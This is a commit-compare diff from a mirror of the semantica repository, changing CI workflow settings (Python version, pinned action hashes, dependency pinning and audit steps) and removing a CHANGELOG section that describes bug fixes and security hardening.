mirror of
https://github.com/semantica-agi/semantica.git
synced 2026-09-02 04:00:40 +00:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
 KaifAhmad1
|
bdd99f7924 |
@@ -1,5 +1,3 @@
|
||||
> **Before you submit:** make sure you followed the [issue workflow in CONTRIBUTING.md](https://github.com/semantica-agi/semantica/blob/main/CONTRIBUTING.md#-working-on-an-existing-issue) — comment on the issue and wait for assignment before opening a PR, to avoid duplicate work.
|
||||
|
||||
## Description
|
||||
|
||||
<!-- Provide a clear description of your changes -->
|
||||
|
||||
@@ -17,10 +17,10 @@ jobs:
|
||||
with:
|
||||
fetch-depth: 0
|
||||
|
||||
- name: Set up Python 3.11
|
||||
- name: Set up Python 3.12
|
||||
uses: actions/setup-python@5fda3b95a4ea91299a34e894583c3862153e4b97 # v7
|
||||
with:
|
||||
python-version: "3.11"
|
||||
python-version: "3.12"
|
||||
cache: 'pip'
|
||||
|
||||
- name: Install Dependencies
|
||||
|
||||
@@ -30,40 +30,13 @@ jobs:
|
||||
node-version: '20'
|
||||
cache: 'npm'
|
||||
cache-dependency-path: explorer/package-lock.json
|
||||
- name: Install Explorer frontend dependencies
|
||||
working-directory: explorer
|
||||
run: npm ci
|
||||
- name: Test Explorer frontend
|
||||
working-directory: explorer
|
||||
run: |
|
||||
npm run test:graph-store
|
||||
npm run test:graph-workspace
|
||||
npm run test:plugin-registry
|
||||
- name: Build Explorer frontend
|
||||
working-directory: explorer
|
||||
run: npm run build
|
||||
- name: Install pinned Python dependencies
|
||||
run: |
|
||||
pip install -r requirements-ci.txt
|
||||
- name: Verify requirements-ci.txt is up to date
|
||||
run: |
|
||||
pip install uv==0.12.1
|
||||
# Re-resolve with the committed file as a constraint: upstream package
|
||||
# releases must NOT fail CI (deps only change when pyproject.toml
|
||||
# changes intentionally). Compare only version lines (pkg==ver),
|
||||
# ignoring the -c constraint comments and the `\` line continuations
|
||||
# that --generate-hashes emits.
|
||||
uv pip compile pyproject.toml --python-version 3.11 --extra all \
|
||||
--constraint requirements-ci.txt -o /tmp/requirements-ci-check.txt
|
||||
diff \
|
||||
<(grep -E '^[a-zA-Z0-9._-]+==' requirements-ci.txt | sed 's/ \\$//') \
|
||||
<(grep -E '^[a-zA-Z0-9._-]+==' /tmp/requirements-ci-check.txt)
|
||||
npm ci
|
||||
npm run build
|
||||
- run: pip install build
|
||||
# wheel is build-time only (not in requirements-ci.txt) — install the
|
||||
# same pinned version [build-system] declares so --no-isolation works.
|
||||
- run: pip install wheel==0.48.0
|
||||
- name: Build package (no isolation — pinned deps)
|
||||
run: python -m build --no-isolation
|
||||
- run: python -m build
|
||||
- name: Verify Explorer frontend is packaged
|
||||
run: |
|
||||
python - <<'PY'
|
||||
|
||||
@@ -32,7 +32,7 @@ jobs:
|
||||
# meaningful state carried over from a failed attempt.
|
||||
- name: Initialize CodeQL (attempt 1)
|
||||
id: codeql-init-1
|
||||
uses: github/codeql-action/init@ff2f1c621b7f889edc0d3c761ac2e6a3f8cdb0dd # v4
|
||||
uses: github/codeql-action/init@d1ba80a13dd99fba24a470575428917156a28b43 # v4
|
||||
continue-on-error: true
|
||||
with:
|
||||
languages: python
|
||||
@@ -42,7 +42,7 @@ jobs:
|
||||
- name: Initialize CodeQL (attempt 2)
|
||||
id: codeql-init-2
|
||||
if: steps.codeql-init-1.outcome == 'failure'
|
||||
uses: github/codeql-action/init@ff2f1c621b7f889edc0d3c761ac2e6a3f8cdb0dd # v4
|
||||
uses: github/codeql-action/init@d1ba80a13dd99fba24a470575428917156a28b43 # v4
|
||||
continue-on-error: true
|
||||
with:
|
||||
languages: python
|
||||
@@ -52,17 +52,17 @@ jobs:
|
||||
- name: Initialize CodeQL (attempt 3)
|
||||
id: codeql-init-3
|
||||
if: steps.codeql-init-2.outcome == 'failure'
|
||||
uses: github/codeql-action/init@ff2f1c621b7f889edc0d3c761ac2e6a3f8cdb0dd # v4
|
||||
uses: github/codeql-action/init@d1ba80a13dd99fba24a470575428917156a28b43 # v4
|
||||
with:
|
||||
languages: python
|
||||
queries: security-and-quality
|
||||
config-file: .github/codeql/codeql-config.yml
|
||||
|
||||
- name: Autobuild
|
||||
uses: github/codeql-action/autobuild@ff2f1c621b7f889edc0d3c761ac2e6a3f8cdb0dd # v4
|
||||
uses: github/codeql-action/autobuild@d1ba80a13dd99fba24a470575428917156a28b43 # v4
|
||||
|
||||
- name: Perform CodeQL Analysis
|
||||
uses: github/codeql-action/analyze@ff2f1c621b7f889edc0d3c761ac2e6a3f8cdb0dd # v4
|
||||
uses: github/codeql-action/analyze@d1ba80a13dd99fba24a470575428917156a28b43 # v4
|
||||
with:
|
||||
category: "/language:python"
|
||||
upload: false
|
||||
@@ -72,7 +72,7 @@ jobs:
|
||||
# Uploads results only when Default Setup is not active.
|
||||
# If Default Setup is still enabled, this step skips gracefully
|
||||
# instead of failing the workflow with HTTP 409.
|
||||
uses: github/codeql-action/upload-sarif@ff2f1c621b7f889edc0d3c761ac2e6a3f8cdb0dd # v4
|
||||
uses: github/codeql-action/upload-sarif@d1ba80a13dd99fba24a470575428917156a28b43 # v4
|
||||
with:
|
||||
sarif_file: ${{ steps.codeql.outputs.sarif-output }}
|
||||
category: "/language:python"
|
||||
|
||||
@@ -57,7 +57,7 @@ jobs:
|
||||
# avoiding the guardian.cmd/checkov exit-code bug in the MSDO wrapper.
|
||||
tools: eslint,templateanalyzer,terrascan
|
||||
- name: Upload results to Security tab
|
||||
uses: github/codeql-action/upload-sarif@ff2f1c621b7f889edc0d3c761ac2e6a3f8cdb0dd # v4
|
||||
uses: github/codeql-action/upload-sarif@d1ba80a13dd99fba24a470575428917156a28b43 # v4
|
||||
with:
|
||||
sarif_file: ${{ steps.msdo.outputs.sarifFile }}
|
||||
|
||||
@@ -82,7 +82,7 @@ jobs:
|
||||
}
|
||||
|
||||
- name: Upload Checkov results to Security tab
|
||||
uses: github/codeql-action/upload-sarif@ff2f1c621b7f889edc0d3c761ac2e6a3f8cdb0dd # v4
|
||||
uses: github/codeql-action/upload-sarif@d1ba80a13dd99fba24a470575428917156a28b43 # v4
|
||||
if: always()
|
||||
with:
|
||||
sarif_file: reports/checkov.sarif
|
||||
|
||||
@@ -36,16 +36,8 @@ jobs:
|
||||
run: |
|
||||
npm ci
|
||||
npm run build
|
||||
# Install the pinned dependency set (with hashes) so the sdist/wheel
|
||||
# build runs against the same versions CI tests against.
|
||||
- name: Install pinned build dependencies
|
||||
run: pip install -r requirements-ci.txt
|
||||
- run: pip install build
|
||||
# wheel is build-time only (not in requirements-ci.txt) — install the
|
||||
# same pinned version [build-system] declares so --no-isolation works.
|
||||
- run: pip install wheel==0.48.0
|
||||
- name: Build package (no isolation — pinned deps)
|
||||
run: python -m build --no-isolation
|
||||
- run: python -m build
|
||||
- name: Verify Explorer frontend is packaged
|
||||
run: |
|
||||
python - <<'PY'
|
||||
@@ -64,7 +56,7 @@ jobs:
|
||||
print("Explorer frontend is packaged")
|
||||
PY
|
||||
- name: Attest build provenance
|
||||
uses: actions/attest-build-provenance@4d101475d8b20a2381f78447822ac1eab6504dd8 # v4
|
||||
uses: actions/attest-build-provenance@0f67c3f4856b2e3261c31976d6725780e5e4c373 # v4
|
||||
with:
|
||||
subject-path: 'dist/*'
|
||||
- uses: softprops/action-gh-release@3d0d9888cb7fd7b750713d6e236d1fcb99157228 # v3
|
||||
|
||||
@@ -45,14 +45,11 @@ jobs:
|
||||
- name: Install dependencies
|
||||
run: |
|
||||
python -m pip install --upgrade pip
|
||||
# Install the pinned dependency set FIRST so Safety scans Semantica's
|
||||
# exact CI/release dependency tree (requirements-ci.txt is generated
|
||||
# from pyproject.toml extras, so this covers the project's real deps).
|
||||
pip install -r requirements-ci.txt
|
||||
# Tooling AFTER the pinned set: installing safety/bandit/semgrep/jq
|
||||
# first lets the pinned requirements overwrite their transitive deps
|
||||
# (e.g. rich), which breaks the safety CLI at runtime.
|
||||
pip install safety bandit semgrep jq
|
||||
# Install the project itself (core deps + the LiteLLM provider extra)
|
||||
# so Safety scans Semantica's actual dependency tree, not just the
|
||||
# scanner tools' own dependencies.
|
||||
pip install -e ".[llm-litellm]"
|
||||
|
||||
- name: Run Safety Check (Package Vulnerabilities)
|
||||
run: |
|
||||
|
||||
@@ -4,12 +4,6 @@ on:
|
||||
schedule:
|
||||
- cron: '0 0 * * 1'
|
||||
workflow_dispatch:
|
||||
pull_request:
|
||||
branches: [main]
|
||||
paths:
|
||||
- 'pyproject.toml'
|
||||
- 'requirements-ci.txt'
|
||||
- '.github/workflows/security.yml'
|
||||
|
||||
permissions:
|
||||
contents: read
|
||||
@@ -22,21 +16,6 @@ jobs:
|
||||
- uses: actions/setup-python@5fda3b95a4ea91299a34e894583c3862153e4b97 # v7
|
||||
with:
|
||||
python-version: '3.11'
|
||||
# Upgrade first: actions/setup-python's baked-in setuptools has been
|
||||
# behind known-vulnerable floors before (e.g. PYSEC-2026-3447 /
|
||||
# setuptools 75.1.0), so don't trust the preinstalled one.
|
||||
- run: python -m pip install --upgrade pip setuptools
|
||||
# Audit the pinned dependency set (requirements-ci.txt is compiled from
|
||||
# pyproject.toml with --extra all — the same coverage as the [all]
|
||||
# extra, minus the Linux-only gpu set — so this keeps scan parity with
|
||||
# CI/release builds without a time-dependent resolution). This is the
|
||||
# fix for PYSEC-2024-38 (#869): the bare-env job never had fastapi or
|
||||
# python-multipart installed to look at.
|
||||
- run: pip install -r requirements-ci.txt
|
||||
# PR runs gate on findings, since they're scoped to actual
|
||||
# pyproject.toml changes under review. The schedule/workflow_dispatch
|
||||
# runs stay non-blocking until a full pass over pre-existing findings
|
||||
# across the whole [all] tree has been done.
|
||||
- run: pip install pip-audit
|
||||
- run: pip-audit -r requirements-ci.txt
|
||||
continue-on-error: ${{ github.event_name != 'pull_request' }}
|
||||
- run: pip-audit
|
||||
continue-on-error: true
|
||||
|
||||
BIN
Binary file not shown.
-248
@@ -11,155 +11,6 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
|
||||
|
||||
### Added
|
||||
|
||||
- **`DistanceExporter.compute_pairs()` gains an opt-in `metric_errors` column to distinguish legitimate `None` results from computation failures** (#960, follow-up to #879) by @Karunasagar12
|
||||
- Previously, a `None` in `hop_count`/`weighted_distance`/`semantic_similarity`/betweenness could mean either "no path exists" or "the underlying computation raised" — logged as a warning per #879, but not otherwise surfaced, so the two cases were indistinguishable in exported CSV/JSONL/DataFrame data. `include=["metric_errors"]` now adds a `metric_errors` field per row: `""` when all requested metrics succeeded, or a comma-separated list of metric names that raised (e.g. `"hop_count,weighted_distance"`)
|
||||
- Opt-in only — default `compute_pairs()`/`to_csv()`/`to_dataframe()`/`to_jsonl()` schema is unchanged unless `"metric_errors"` is explicitly requested
|
||||
- The four metric helpers (`_betweenness`, `_hop_distance`, `_weighted_distance`, `_semantic_similarity`) now return `(value, error_name | None)` tuples internally; `compute_pairs()` aggregates the error names per row
|
||||
- **Fixed during review** (Qodo): `_betweenness()` failures weren't tracked into `metric_errors` in the initial version — centrality computation could raise and the column would still report `""`. Now returns its error tuple like the other three helpers
|
||||
- **Known limitation**: `include=["metric_errors"]` with no other metric names computes nothing, so the column is always `""` in that case — pass it alongside the metrics you want tracked, e.g. `include=["hop_count", "metric_errors"]`
|
||||
- New `tests/export/test_distance_exporter_metric_errors.py`: 6 tests covering success, single/multiple failures, opt-out, the no-path-vs-error distinction, and default-schema stability; existing `tests/export/test_distance_exporter.py` updated for the new tuple return type
|
||||
- Full `tests/export/` suite: 77 passed
|
||||
|
||||
### Changed
|
||||
|
||||
- **`GraphBuilder`'s 6 public methods now have Google-style docstrings** (#878, closes #876) by @cakeni
|
||||
- `semantica/kg/graph_builder.py`'s `build`, `build_single_source`, `add_temporal_edge`, `create_temporal_snapshot`, `query_temporal`, and `load_from_neo4j` — the core knowledge-graph construction API, imported directly by callers — previously had zero docstrings across all 6 methods, the only file in a 10-file audit sample with that gap, despite CONTRIBUTING.md requiring Google-style `Args`/`Returns`/`Raises`/`Example` docs for public methods. Added full docstrings for all 6, plus the previously undocumented `build_single_source`, with runnable (`# doctest: +SKIP`) usage examples
|
||||
- **Corrected during review**: `query_temporal`'s docstring claimed the query text was used to filter the graph; the implementation only records it in the result (`results = {"query": query, ...}`) with no interpretation or filtering. Corrected to state that explicitly
|
||||
- **Corrected during review**: `create_temporal_snapshot`'s docstring implied entities were filtered for validity at the snapshot timestamp like relationships are; the implementation copies all entities unfiltered and only filters `relationships` by `valid_from`/`valid_until`. Docstring now distinguishes the two
|
||||
- **Corrected during review**: `add_temporal_edge`/`create_temporal_snapshot` docstrings overclaimed numeric-timestamp support; `_parse_time()` only special-cases `str` and `datetime`, falling back to a bare `str()` cast for anything else (not true numeric parsing). Narrowed to "datetime or ISO-formatted string"
|
||||
- **Fixed along the way**: `build()`'s `**options` documented a default only for `extract`; `extract_relations`, `extract_triplets`, `ner_method`, `relation_method`, and `triplet_method` all have concrete defaults in `_extract_from_text()` (`True`, `True`, `"llm"`, `"llm"`, `"llm"`) that were left unstated, inconsistent with CONTRIBUTING.md's own docstring example of noting defaults inline
|
||||
- `python -m pytest tests/kg/test_kg.py tests/kg/test_graph_builder_external.py -q`: 45 passed
|
||||
- **`GraphBuilder` raw-text extraction now defaults to local extractors instead of LLM extraction** (closes #930) by @dex0shubham
|
||||
- `GraphBuilder._extract_from_text()` defaulted `ner_method`, `relation_method`, and `triplet_method` to `"llm"`, and ran relation extraction unconditionally (`extract_relations` defaulted to `True`) — all four contradicting the defaults documented in the `build()` docstring at the time (`"ml"` / `"pattern"` / `False`), and diverging from the standalone extractors (`NERExtractor` defaults to `method="ml"`, `RelationExtractor` and `TripletExtractor` to `method="pattern"`). The practical effect was that any raw-text `build()` call silently required a configured provider, an API key, and network access
|
||||
- Defaults are now `ner_method="ml"`, `relation_method="pattern"`, `triplet_method="pattern"`, and `extract_relations=False`, matching the docstring. LLM extraction remains fully available and is now opt-in
|
||||
- **To restore the previous behaviour**, pass the methods explicitly:
|
||||
```python
|
||||
builder.build(
|
||||
sources,
|
||||
ner_method="llm",
|
||||
relation_method="llm",
|
||||
triplet_method="llm",
|
||||
extract_relations=True,
|
||||
)
|
||||
```
|
||||
- #878 landed in the meantime and resolved the same mismatch in the opposite direction, documenting the LLM values (`"llm"` / `"llm"` / `"llm"`, `extract_relations: True`) as the contract. Per the decision on #930 the code is the side that changes, so those docstring defaults are corrected here to `"ml"` / `"pattern"` / `"pattern"` / `False`, keeping #878's formatting
|
||||
- Removed the stale `# Default to LLM methods as per requirement` comment, which read as an intentional decision but did not match the documented contract
|
||||
- **Fixed along the way**: `_extract_from_text()` constructed a fresh extractor for every text, and `NERExtractor.__init__` loads its spaCy model eagerly when the method includes `"ml"` — so with the new default, a multi-document build would have reloaded the model once per source. Extractors are now built once per `(kind, method)` and reused for the lifetime of the builder, via `GraphBuilder._get_extractor()`. This path was previously unreachable by default because the old `"llm"` default never touched spaCy
|
||||
- **Fixed along the way**: `_extract_from_text()` never forwarded its extracted relations to triplet extraction — it passed only `entities=`, so `TripletExtractor` re-derived relations itself (via a method taken from `triplet_method`) whenever `relations is None`, duplicating work and producing triplets that could disagree with the relations already extracted using `relation_method`. Relations are now passed through as `relations=`; when relation extraction is disabled or fails, `None` is forwarded and `TripletExtractor` keeps its existing self-derivation behaviour
|
||||
- **Fixed along the way**: `GraphBuilder._extraction_stats` was only initialised inside `build()`, so calling `_extract_from_text()` directly raised an `AttributeError` that the extraction path's broad `except` swallowed and reported as `"Entity extraction failed"`. It is now seeded in `__init__` as well; `build()` still resets it per run
|
||||
- New regression coverage in `tests/kg/test_graph_builder_extraction_defaults.py` pinning all four defaults, verifying that no default resolves to `"llm"`, confirming explicit LLM opt-in still routes correctly, asserting extractors are constructed once across repeated texts, covering fallback method lists (e.g. `ner_method=["pattern", "ml"]`) for all three extractors, asserting relations are forwarded to triplet extraction (and that `None` is forwarded when relation extraction is disabled or fails), and running the real default path end to end with no provider mocked. Verified to fail against the pre-fix code
|
||||
- Full `kg` suite: 473 passed
|
||||
|
||||
### Fixed
|
||||
|
||||
- **Explorer UI hid backend failures: graph load hung forever, landing page always showed "System Online"** (#980, closes #977) by @ZohaibHassan16, reviewed by @Sameer6305
|
||||
- `GraphWorkspace.tsx` only destructured `{ data, isLoading, isFetching }` from `useLoadGraph()`, ignoring the `isError`/`error`/`refetch` that `useQuery` (`retry: 0`) already returned. Combined with `GraphLoadingOverlay` having no error prop and `showLoadingOverlay` staying true whenever `loadingProgress` held a stale frame, a backend-down or failed fetch left the graph workspace stuck on the last progress frame indefinitely, with no error message and no way to recover short of a full page reload
|
||||
- `GraphLoadingOverlay` now accepts `error`/`onRetry` and renders an error card with the real fetch error message and a Retry button (`refetch()`) instead of the stuck progress UI
|
||||
- The landing page's `WelcomeScreen` replaced its hardcoded `ready: boolean` (and hardcoded "System Online" text) with a real `checking` / `online` / `offline` status derived from the same connectivity probe already driving the 4th metric card, so the status dot, text, and metric can no longer drift apart or lie about connectivity
|
||||
- **Smaller fixes bundled in the same PR**: search results are now dismissible (previously stayed open indefinitely, pushing the graph down); relevance scores display as rounded whole numbers instead of `96.900`/`138.000`; added a debounced (250ms) typeahead combobox to graph search with arrow-key navigation, `aria-activedescendant`, and Escape-to-close, using the existing `/api/graph/search` endpoint
|
||||
- **Fixed during review** (Qodo): the typeahead's debounced fetch had no `AbortController`, so a fast-typing user could have a stale suggestion response resolve after a newer one, replacing correct suggestions with outdated ones. In-flight requests are now aborted on every re-debounce and when the query is cleared after a selection
|
||||
- **Noted during review** (@Sameer6305): `GraphWorkspaceShell.tsx` contains a third, unused implementation of the same graph-loading/error-handling logic this PR fixes — the issue itself named "two copies that drifted apart" as the root cause the original bug slipped through. Deliberately left out of this PR's scope and tracked separately in #981 rather than blocking this fix
|
||||
- `npx tsc -b`: clean; `test:graph-store`/`test:graph-workspace`/`test:plugin-registry`: 42 passed; `npm run build`: succeeds
|
||||
|
||||
- **Markdown import hardened against TOCTOU symlink races during file reads** (#932, closes #856) by @lakshanmuruganandam, with fixes by @Sameer6305
|
||||
- `AgentMemory._read_markdown_path` read files via `Path.read_text()` after a `Path.is_symlink()` pre-check, leaving a time-of-check/time-of-use window: a path validated as a regular file could be swapped for a symlink before the actual read, causing the importer to follow the link and read an unintended target
|
||||
- Reads now go through a new `_read_markdown_file_content()` helper: the path is opened via low-level `os.open()` with `os.O_NOFOLLOW` on platforms that support it (POSIX), so a symlink substituted after validation fails atomically with `ELOOP` instead of being followed; the resulting file descriptor is then verified with `os.fstat()`/`stat.S_ISREG()` to reject non-regular files (FIFOs, devices) even after a successful open
|
||||
- Directory imports now also exclude symlinked entries from the file listing (`not file_path.is_symlink()`), consistent with the single-file path already rejecting them
|
||||
- **Known limitation**: Windows has no `os.O_NOFOLLOW`, so on that platform the only defense is the earlier `is_symlink()` pre-check, leaving a narrow TOCTOU window; documented inline rather than implying a stronger cross-platform guarantee than the implementation provides
|
||||
- New `tests/context/test_agent_memory_markdown.py` coverage: rejecting a symlinked path at both the private helper and the public `import_data()` API, silently excluding symlinked entries during directory import, and the `fstat()`/`S_ISREG` guard against non-regular files (mocked FIFO)
|
||||
- `pytest tests/context/test_agent_memory_markdown.py`: 46 passed, 4 skipped (symlink-creation tests skip on Windows without `SeCreateSymbolicLinkPrivilege`)
|
||||
|
||||
- **`VectorManager.maintain_store()`/`collect_statistics()` crashed with `AttributeError` on persistent `VectorStore` backends** (#914, closes #855) by @yunaremaia, with fixes by @Sameer6305
|
||||
- Both methods accessed `store.vectors`/`store.metadata` directly, which are only initialized for the `inmemory` backend — any persistent backend (FAISS, Qdrant, Pinecone, Milvus, SQLite, PgVector, Weaviate) crashed immediately. Same root cause as the #839/#843/#845/#848 cluster, but `VectorManager` operates on a `VectorStore` instance from the outside, so the fix needed a public accessor rather than another internal guard
|
||||
- Added a backend-agnostic `VectorStore.count()`: the `inmemory` backend counts its local dict; persistent backends delegate to a `count()` on the wrapped backend store when one exists, or raise `NotImplementedError` — following the `get_vector()`/`get_metadata()` precedent from #843, a missing/uninitialized backend store is never silently reported as an empty, healthy store
|
||||
- `maintain_store()` and `collect_statistics()` now go through `store.count()` instead of touching `.vectors`/`.metadata`
|
||||
- **Fixed during review** (@Sameer6305): the initial version had `count()` implemented at the dispatch level only, with no shipped backend actually providing one, and `maintain_store()` manufactured a vacuous `metadata_count == vector_count` tautology for persistent backends (always reporting `healthy: True` without checking anything). Added real `count()` implementations to `FAISSStore` (`len(index.vector_ids)` — FAISS has no delete path, so this list is always consistent with the index), `SQLiteVecStore`, and `PgVectorStore` (both via `SELECT COUNT(*)`); `Qdrant`/`Pinecone`/`Milvus`/`Weaviate` continue to raise `NotImplementedError` since none of them guarantee a cheap, reliable synchronous count. `maintain_store()` now reports `metadata_count: None` for persistent backends instead of the fabricated equality, with `healthy` meaning "store is reachable," not "metadata verified"
|
||||
- Two earlier Qodo findings (a count() path that silently returned 0 for a missing backend store, and an unvalidated `hasattr` check that could raise `TypeError` on a mis-shaped adapter) were fixed before this review — replaced with `NotImplementedError` and a `getattr`+`callable()` capability check, respectively
|
||||
- New `tests/vector_store/test_vector_manager_persistent.py`: dispatch-level tests for `count()` (inmemory, delegation, missing backend, non-callable `count`, mis-shaped adapter), full `VectorManager` inmemory semantics including divergence detection, persistent-backend dispatch tests, and backend-specific tests against real/mocked FAISS, SQLite (`sqlite-vec`, skipped if unavailable), and PgVector stores
|
||||
- Core `vector_store` suite: 40 passed
|
||||
|
||||
- **`ContextGraph.get_node_property`/`get_node_attributes` "not found" contract clarified; `add_node_attribute` mutation-callback exception safety fixed** (#882, closes #877) by @ZohaibHassan16
|
||||
- `get_node_property` returned `None` for both "node missing" and "property missing" with no way to distinguish them, and `get_node_attributes` returned `{}` for a missing node while its siblings disagreed on the not-found signal (`get_node_property`/`find_node` → `None`, `get_edge_data` → `{}`). Both now accept a `default=` parameter matching `dict.get()`'s convention, defaulting to their historical return values (`None` and `{}` respectively) for backward compatibility. Callers that need to disambiguate "node missing" from "value legitimately absent" can pass a private sentinel as `default`
|
||||
- Added Google-style docstrings to `get_node_property`, `get_node_attributes`, `get_edge_data`, and `find_node` documenting each method's not-found contract, addressing #877's "sibling not-found contract undocumented" gap
|
||||
- **Corrected during review**: the PR as submitted claimed to fix `add_node_attribute` firing its `mutation_callback` "outside `with self._lock`, without holding the lock," but the diff only removed a stray blank line — the callback call remained outside the lock, unchanged. Further investigation found this was not actually a bug: `self._lock` is a `threading.RLock`, and the same release-the-lock-before-invoking-the-callback pattern is used deliberately in `_add_internal_node`/`_add_internal_edge` elsewhere in this class, avoiding holding the lock for the duration of an arbitrary user-supplied callback. The real inconsistency was that, unlike those two siblings, `add_node_attribute`'s callback call wasn't wrapped in `try/except` — a raising callback propagated uncaught here but was caught and logged there. Now wrapped the same way (`except Exception as e: self.logger.warning(...)`)
|
||||
- 13 tests covering happy path, missing node, missing property, sentinel disambiguation, falsy-zero, callback firing/non-firing, and (added during review) a raising callback no longer propagating out of `add_node_attribute`
|
||||
- `pytest tests/context/test_context.py -q`: 27 passed
|
||||
|
||||
- **Three `tests/normalize/` tests failed for reasons unrelated to the normalize implementations: a missing optional-dependency skip guard, an incomplete chardet allowlist, and a UTC/local timezone mismatch** (#881, closes #860) by @aoright
|
||||
- `test_detect_language`/`test_detect_with_confidence` in `tests/normalize/test_language_detector.py` asserted on real `langdetect` output with no skip guard, even though `langdetect` is an optional dependency absent from `pyproject.toml` that `LanguageDetector` already degrades gracefully without (`LANGDETECT_AVAILABLE = False`, falls back to `default_language`) — any environment without it failed both tests unconditionally, including a fresh CI run without optional extras installed. Both are now gated with `@unittest.skipUnless(LANGDETECT_AVAILABLE, ...)`
|
||||
- `test_detect_encoding` in `tests/normalize/test_encoding_handler.py` asserted `chardet.detect()`'s result against a 3-name allowlist (`iso-8859-1`/`windows-1252`/`latin-1`); on a short Latin-1 sample, chardet is free to return other compatible single-byte codepages (e.g. `windows-1253`), which fails the allowlist and then cascades into `test_convert_to_utf8` decoding the bytes as Greek instead of the original text. The test now uses a longer, unambiguous Latin-1 corpus and asserts that the detected encoding round-trip-decodes the original text instead of matching a fixed name list; `test_convert_to_utf8` now passes `source_encoding="latin-1"` explicitly rather than relying on chardet's heuristic auto-detection
|
||||
- `test_normalize_date_relative` in `tests/normalize/test_date_normalizer.py` compared `RelativeDateProcessor`'s local-clock-based `"today"` (`datetime.now()`, naive, UTC-normalized after the fact by `convert_to_utc()`) against a separately-computed UTC reference date — failing intermittently in any timezone east of UTC whenever the local and UTC dates diverge for part of the day. The test now patches `datetime.now()` to a fixed reference time, making the assertion independent of host timezone
|
||||
- `pytest tests/normalize`: 77 passed, 2 skipped (`langdetect` not installed); `black`/`isort`/`flake8 --max-line-length=88` clean on all three changed files. Test-only change; no production code touched
|
||||
|
||||
- **MCP server reported a stale `0.4.0` version instead of the installed package version** (#870, closes #863) by @oiahoon
|
||||
- `semantica/mcp_server/__init__.py` hardcoded `"version": "0.4.0"` in both the MCP `initialize` response (`SERVER_INFO`) and the `semantica://schema/info` resource, regardless of the actual installed `semantica` version — every MCP client (Claude Desktop, Windsurf, Cline, Continue, VS Code Copilot, etc.) showed the wrong server version. Both surfaces now derive from `semantica.__version__`, the package's authoritative version source, so they can no longer drift from `pyproject.toml`
|
||||
- New regression coverage in `tests/test_mcp_server_version.py`, including `!= "0.4.0"` canaries and a cross-surface consistency check
|
||||
- **Fixed along the way**: the separate root-level `mcp/` package (`mcp/__init__.py`, `mcp/server.py`, `mcp/resources/registry.py`) — a companion MCP server implementation not included in the built distribution, but documented in `mcp/__init__.py` as a supported way to run against Claude Desktop/Windsurf/etc. from a source checkout — had the same three hardcoded `0.4.0` literals; fixed the same way, with matching regression tests in `tests/test_mcp_package_version.py`
|
||||
|
||||
- **`VectorStore._filter_by_metadata()` `AttributeError` on all persistent backends** (#857, closes #849) by @TaherTadpatri
|
||||
- `_filter_by_metadata()` iterated `self.metadata` directly, which only exists on the `inmemory` backend — any persistent backend (`faiss`, `qdrant`, `pinecone`, `milvus`, `pgvector`, `sqlite`, `weaviate`) crashed with `AttributeError` on `filter_decisions(query=None, ...)` / metadata-only filtering. Filtering is now delegated to a native `filter_by_metadata()` implemented on each backend store, using backend-native payload/SQL/JSON filtering (Qdrant `scroll()`, Pinecone `query()`, Milvus expression filters, PostgreSQL JSONB, SQLite `json_extract()`, Weaviate collection filters)
|
||||
- **Fixed along the way**: `PineconeStore.get_index()` and `filter_by_metadata()` called a nonexistent `self.describe_index_stats()` on the store itself (the method only exists on the `PineconeIndex` wrapper returned by `self.index`); the resulting `AttributeError` was silently swallowed, so dimension auto-detection always failed quietly. Now correctly calls `self.index.describe_index_stats()`
|
||||
- **Fixed along the way**: `PineconeStore.filter_by_metadata()` probed for filter-only matches using an all-zero dummy query vector, which Pinecone rejects for cosine-metric indexes — the library's own default — making metadata-only filtering silently non-functional out of the box. Now uses a unit vector instead
|
||||
- **Fixed along the way**: `PgVectorStore.filter_by_metadata()`'s list-filter branch formatted boolean values with `str(v)` (`'True'`/`'False'`), never matching PostgreSQL JSONB's lowercase `'true'`/`'false'` text rendering, even though the equivalent scalar-filter branch already handled this correctly
|
||||
- **Fixed along the way**: list-valued metadata fields (e.g. `{"tags": ["python", "js"]}`) could never match a list filter on the SQLite or PostgreSQL backends, because both extracted the whole array as its JSON/text representation instead of matching individual elements — silently diverging from the in-memory backend's set-intersection semantics. SQLite now uses `json_each()` over a `json_type`-guarded array/scalar wrapper; PostgreSQL now uses the `?|` "any array element" operator alongside the existing scalar `= ANY(...)` path
|
||||
- **Fixed along the way**: `FAISSStore.filter_by_metadata(limit=0)` returned one result instead of zero, because the limit check ran after appending the current match
|
||||
- **Fixed along the way**: `MilvusStore`'s metadata expression builder rendered `NaN`/`Infinity` filter values as bare unquoted tokens, producing an invalid Milvus expression whose server-side rejection was then swallowed by a broad `except`, indistinguishable from "no matches"; these values are now rejected up front with a clear `ValidationError`
|
||||
- New/expanded test coverage in `tests/vector_store/test_backend_metadata_filtering.py` (all 7 backends, including the Pinecone dimension/zero-vector, PgVector boolean-list, FAISS `limit=0`, and Milvus `NaN` regressions) and `tests/vector_store/test_sqlite_vec_store.py` (new `TestSQLiteVecStoreFilterByMetadata`, run against the real `sqlite-vec` extension, including the array-vs-scalar intersection case)
|
||||
|
||||
- **`DistanceExporter` silently swallowed metric computation failures, exporting `None` values indistinguishable from a legitimate "no path" result** (#879, closes #874) by @AmirF194
|
||||
- `_betweenness`, `_hop_distance`, `_weighted_distance`, and `_semantic_similarity` each caught `Exception` and returned their sentinel (`None`/`{}`) with no logging; a failed computation and a real "no path exists" looked identical in exported CSV/JSONL/DataFrame data. All four now log a `warning` with `exc_info=True` before returning the sentinel; exported row shape and values are unchanged
|
||||
- **Fixed along the way**: the module logger was built with `get_logger(__name__)`, which double-prefixed it to `semantica.semantica.export.distance_exporter` — a name `setup_logging()` never configures — so this module's logging (including a pre-existing `logger.debug` call) was silent regardless. Now uses `get_logger("export.distance_exporter")`, matching every other exporter in the module
|
||||
- New regression coverage in `tests/export/test_distance_exporter.py`: warnings fire on exception for all four helpers, exported sentinel values/shape stay unchanged, and the legitimate "no KG backend" `None` path still logs nothing
|
||||
- Full `tests/export/` suite: 71 passed
|
||||
|
||||
### Security
|
||||
|
||||
- **`FeedIngestor`/`FeedMonitor` (RSS/Atom feed ingestion) had no SSRF protection, allowing requests to internal/private network targets** (#928, closes #927) by @ZohaibHassan16
|
||||
